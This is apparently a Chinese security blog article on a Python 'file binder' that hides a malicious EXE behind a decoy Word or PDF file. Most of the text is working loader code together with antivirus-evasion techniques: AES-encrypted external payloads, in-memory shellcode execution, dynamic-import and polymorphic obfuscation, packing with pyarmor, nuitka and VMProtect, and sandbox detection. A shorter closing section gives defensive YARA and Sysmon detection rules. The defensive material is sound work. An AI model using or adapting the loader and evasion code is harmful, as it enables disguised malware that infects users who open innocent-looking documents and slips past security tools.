文件捆绑器是一种隐蔽的加载器技术,通过将恶意可执行文件(EXE)与普通文件(如Word、Excel、PDF)捆绑,诱导用户运行,从而在打开普通文件的同时静默执行恶意代码。本文基于Python实现的文件捆绑器,分析其技术细节,探讨易被杀毒软件检测的原因,提出免杀优化方案,并从蓝队视角提供防御实践,助力安全从业者理解加载器的攻防对抗。


捆绑器允许用户选择一个EXE文件和一个普通文件(如采购.docx),生成捆绑加载器(如采购_bundle.docx),运行时打开普通文件并静默执行EXE。
核心代码:
EXE_DATA = b"..." # base64编码的EXE文件
NORMAL_FILE_DATA = b"..." # base64编码的普通文件
NORMAL_FILE_EXT = "docx" # 普通文件扩展名
def decode_and_save(data, output_path):
decoded_data = zlib.decompress(base64.b64decode(data))
with open(output_path, "wb") as f:
f.write(decoded_data)
def open_normal_file():
temp_dir = tempfile.gettempdir()
normal_file_path = os.path.join(temp_dir, f"document.{NORMAL_FILE_EXT}")
decode_and_save(NORMAL_FILE_DATA, normal_file_path)
os.startfile(normal_file_path)
def run_exe_in_background():
temp_dir = tempfile.gettempdir()
exe_path = os.path.join(temp_dir, "bundled_app.exe")
decode_and_save(EXE_DATA, exe_path)
subprocess.Popen(exe_path, creationflags=subprocess.CREATE_NO_WINDOW)
def main():
try:
open_normal_file()
run_exe_in_background()
except Exception as e:
print(f"错误: {e}")
sys.exit(1)
工作原理:
文件编码:EXE和普通文件通过zlib压缩和base64编码,嵌入加载器(EXE_DATA和NORMAL_FILE_DATA)。
文件释放:运行时解码并写入临时目录(tempfile.gettempdir(),如C:\Users\xxx\AppData\Local\Temp)。
普通文件打开:通过os.startfile触发系统默认程序(如Word打开.docx)。
EXE后台执行:使用subprocess.Popen以CREATE_NO_WINDOW静默运行EXE。
输出命名:生成文件名为普通文件名加_bundle后缀(如采购_bundle.docx),通过pyinstaller打包为EXE。
GUI功能:提供文件选择和输出目录选择,生成后自动打开目录。
原始捆绑器暴露了以下特征:
| 行为 | 描述 | 典型特征 |
|---|---|---|
| base64 + zlib嵌入 | 大量base64编码字符串嵌入代码 | base64.b64decode, zlib.decompress |
| 释放到临时目录 | 文件写入C:\Users\xxx\AppData\Local\Temp | 与勒索软件、木马路径一致 |
| Popen启动EXE | 使用subprocess.Popen静默运行 | CREATE_NO_WINDOW标志 |
| os.startfile打开文档 | 非用户主动触发文档打开 | 触发系统日志或行为感知 |
这些特征易被静态特征扫描(如YARA)和动态行为监控(如EDR)捕获。
为提高免杀能力,以下从去静态特征、内存加载、逻辑混淆和加壳压缩四个方面优化。
问题:嵌入的base64编码是静态特征,易被YARA匹配。
优化方案:将数据加密保存为外部文件(如data.bin),运行时动态解密。
示例代码:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def encrypt(data: bytes, key: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv=b'1234567890abcdef')
return cipher.encrypt(pad(data, AES.block_size))
def decrypt(enc: bytes, key: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv=b'1234567890abcdef')
return unpad(cipher.decrypt(enc), AES.block_size)
# 加密EXE并保存为data.bin
with open("input.exe", "rb") as f:
raw_data = f.read()
enc_data = encrypt(raw_data, b"your16bytekey!!!")
with open("data.bin", "wb") as f:
f.write(enc_data)
# 加载器中解密运行
with open("data.bin", "rb") as f:
enc_data = f.read()
raw_data = decrypt(enc_data, b"your16bytekey!!!")
with open(os.path.join(tempfile.gettempdir(), "tmp.exe"), "wb") as f:
f.write(raw_data)
subprocess.Popen("tmp.exe", creationflags=0x08000000)
优点:
无明文base64/zlib痕迹。
加密数据外置,动态解密增加分析难度。
可动态生成密钥进一步混淆。
实现细节:
使用pycryptodome(pip install pycryptodome)实现AES加密。
data.bin需与加载器一起分发。
问题:释放EXE到临时目录易被行为监控检测。
优化方案:使用RunPE或shellcode在内存中直接执行EXE,避免磁盘写入。
示例代码(RunPE简化):
import ctypes
def load_pe_in_memory(raw_exe_bytes):
kernel32 = ctypes.WinDLL('kernel32')
mem = kernel32.VirtualAlloc(None, len(raw_exe_bytes), 0x3000, 0x40) # MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
ctypes.memmove(mem, raw_exe_bytes, len(raw_exe_bytes))
# 简化RunPE:需解析PE头、重定位等(实际需C扩展)
kernel32.CreateThread(0, 0, mem, 0, 0, 0)
kernel32.WaitForSingleObject(-1, -1)
shellcode加载(使用远控生成shellcode):
import ctypes
shellcode = b"..." # 通过远控生成shellcode
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
ctypes.memmove(ptr, shellcode, len(shellcode))
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(-1, -1)
优点:
无磁盘写入,规避文件监控。
内存执行绕过行为检测。
shellcode更隐蔽。
实现细节:
RunPE需解析PE结构,可用pefile辅助。
cobaltstrike可以直接生成shellcode。
问题:直接使用base64、zlib、subprocess模块,静态特征明显。
优化方案:通过动态导入和exec混淆逻辑。
示例代码:
code = '''
def run():
__import__('ba' + 'se64').b64decode
__import__('zl' + 'ib').decompress
__import__('sub' + 'process').Popen
d = "base64_data_here"
e = __import__('zl' + 'ib').decompress(__import__('ba' + 'se64').b64decode(d))
f = open("a.exe", "wb")
f.write(e)
f.close()
__import__('sub' + 'process').Popen("a.exe", creationflags=0x08000000)
run()
'''
exec(code)
状态机重构:
def state_machine(data):
state = 0
if state == 0:
d = __import__('zlib').decompress(__import__('base64').b64decode(data))
state = 1
if state == 1:
with open("tmp.exe", "wb") as f:
f.write(d)
state = 2
if state == 2:
__import__('subprocess').Popen("tmp.exe", creationflags=0x08000000)
state_machine(b"...")
优点:
动态导入隐藏模块名。
exec和状态机增加逆向难度。
实现细节:
可结合pyobfuscate进一步混淆。
需确保混淆后代码稳定性。
问题:pyinstaller生成的EXE保留Python痕迹。
优化方案:使用pyarmor或nuitka混淆或编译为C代码。
示例命令:
# pyarmor混淆
pip install pyarmor
pyarmor gen bundle_loader.py -o protected/
pyinstaller -F protected/bundle_loader.py
nuitka编译:
pip install nuitka
nuitka --mingw64 --standalone bundle_loader.py
优点:
nuitka生成C代码,逆向难度高。
pyarmor混淆字节码,降低特征。
实现细节:
nuitka需MinGW64。
pyarmor高级功能需许可证。
YARA规则:
rule Suspicious_Bundled_Loader {
strings:
$a1 = "base64.b64decode"
$a2 = "zlib.decompress"
$a3 = "subprocess.CREATE_NO_WINDOW"
$a4 = "tempfile.gettempdir"
$b1 = /b[A-Za-z0-9+\/=]{50,}/
condition:
3 of ($a*) or $b1
}
检测点:
同时出现base64.b64decode、zlib.decompress、tempfile.gettempdir。
包含大段base64字符串(>50KB)。
文件名包含_bundle或临时文件模式。
工具:
YARA(EDR/SIEM)。
静态分析工具(PEiD、Detect It Easy)。
检测点:
临时目录(C:\Users\xxx\AppData\Local\Temp)文件创建。
短时间内(<1秒)打开文档并启动无窗口子进程。
非用户主动的os.startfile。
工具:
Sysmon:监控文件创建和子进程。
EDR:CrowdStrike、火绒剑、微步。
Windows Defender ASR:阻止Office/脚本启动子进程。
Sysmon配置:
<Sysmon schemaversion="4.81">
<EventFiltering>
<FileCreate onmatch="include">
<TargetFilename condition="contains">AppData\Local\Temp</TargetFilename>
</FileCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">AppData\Local\Temp</Image>
<CommandLine condition="contains">CREATE_NO_WINDOW</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
用户行为建模:检测非用户主动触发的EXE或无关文件生成。
AI/ML检测:Cylance、SentinelOne分析API调用、内存执行、shellcode。
沙箱分析:Cuckoo Sandbox、Joe Sandbox捕获内存加载行为。
文件捆绑器通过结合普通文件和恶意EXE实现隐蔽攻击,但其静态和动态特征易被检测。以下优化可提高免杀效果,同时新增多态代码、VM混淆和环境感知技术:
| 攻击优化方向 | 对应防御建议 |
|---|---|
| 去静态特征(加密外置) | 静态扫描 + YARA |
| 内存加载(RunPE/shellcode) | 行为感知 + 内存扫描 |
| 动态混淆(控制流/动态导入) | 控制流分析 + AI建模 |
| 加壳压缩(nuitka/pyarmor) | 沙箱执行 + 二进制分析 |
| 多态代码 | 动态特征提取 + ML检测 |
| VM混淆(如VMProtect) | 反虚拟化分析 |
| 环境感知 | 沙箱检测对抗 |
原理: 多态代码通过每次运行生成不同代码结构(但功能相同),规避静态特征检测。常见方法包括动态生成代码、随机化变量名、插入无意义指令等。
示例代码:
import random
import string
def generate_polymorphic_code(base64_data):
var_name = ''.join(random.choices(string.ascii_lowercase, k=8))
func_name = ''.join(random.choices(string.ascii_lowercase, k=8))
dummy_code = f"x = {random.randint(1, 1000)}" # 插入无意义代码
code = f'''
def {func_name}():
{dummy_code}
import base64 as b
import zlib as z
{var_name} = z.decompress(b.b64decode("{base64_data}"))
with open("tmp.exe", "wb") as f:
f.write({var_name})
import subprocess as s
s.Popen("tmp.exe", creationflags=0x08000000)
{func_name}()
'''
exec(code)
# 调用示例
generate_polymorphic_code(b"...")
优点:
每次生成不同变量名和函数名,降低静态签名匹配。
插入随机无意义代码增加逆向难度。
实现细节:
使用random模块生成随机变量名/函数名。
可结合obfuscator工具生成更复杂多态代码。
需确保功能稳定性,避免过分混淆导致错误。
原理: VM混淆通过将代码转为虚拟机指令(字节码),在自定义虚拟机中运行,极大增加逆向难度。VMProtect等工具将关键逻辑(如EXE解码和执行)转为虚拟化代码,难以静态分析。
示例流程(结合VMProtect):
编写C语言加载器(Python需C扩展支持):
#include <windows.h>
void execute_payload(unsigned char* payload, size_t size) {
void* exec_mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, payload, size);
((void(*)())exec_mem)();
}
使用VMProtect对C代码进行虚拟化:
vmprotect loader.c -o protected_loader.exe
Python调用虚拟化后的EXE:
import subprocess
subprocess.Popen("protected_loader.exe", creationflags=0x08000000)
优点:
虚拟化代码难以逆向,规避静态和动态分析。
VMProtect支持反调试和环境检测。
实现细节:
VMProtect需商业许可证,免费工具如Themida也可。
Python需通过C扩展(如ctypes)或直接调用虚拟化EXE。
原理: 环境感知检测运行环境(如沙箱、调试器、虚拟机),避免在非目标环境执行。常见检测包括检查进程名、CPU核数、沙箱特定文件等。
示例代码:
import psutil
import os
def is_sandbox():
# 检查常见沙箱进程
sandbox_processes = ["vboxservice.exe", "wireshark.exe", "vmtoolsd.exe"]
for proc in psutil.process_iter():
if proc.name().lower() in sandbox_processes:
return True
# 检查CPU核数(沙箱常为1-2核)
if psutil.cpu_count() <= 2:
return True
# 检查沙箱典型文件
if os.path.exists("C:\\windows\\system32\\drivers\\vmmouse.sys"):
return True
return False
def main():
if is_sandbox():
print("检测到沙箱环境,退出!")
sys.exit(0)
# 正常加载逻辑
decode_and_save(NORMAL_FILE_DATA, os.path.join(tempfile.gettempdir(), f"document.{NORMAL_FILE_EXT}"))
os.startfile(os.path.join(tempfile.gettempdir(), f"document.{NORMAL_FILE_EXT}"))
run_exe_in_background()
if __name__ == "__main__":
main()
优点:
规避沙箱和调试器分析。
可定制检测逻辑(如检查注册表、MAC地址)。
实现细节:
使用psutil(pip install psutil)检测进程和系统信息。
可添加更多检测(如时间戳、鼠标活动)。
攻击方:
结合多态代码、VM混淆和环境感知,实现动态、隐蔽的加载器。
使用AI生成对抗性代码,绕过ML检测。
防御方:
增强实时行为监控,结合威胁情报。
开发反虚拟化分析技术,检测VMProtect等。
使用ML模型分析多态代码和环境感知行为。
免杀与防御的对抗永无止境。攻击者通过多态、虚拟化和环境感知提高隐蔽性,防御者需结合静态、动态和AI技术构建多层次防护。希望本文为红蓝双方提供实用参考!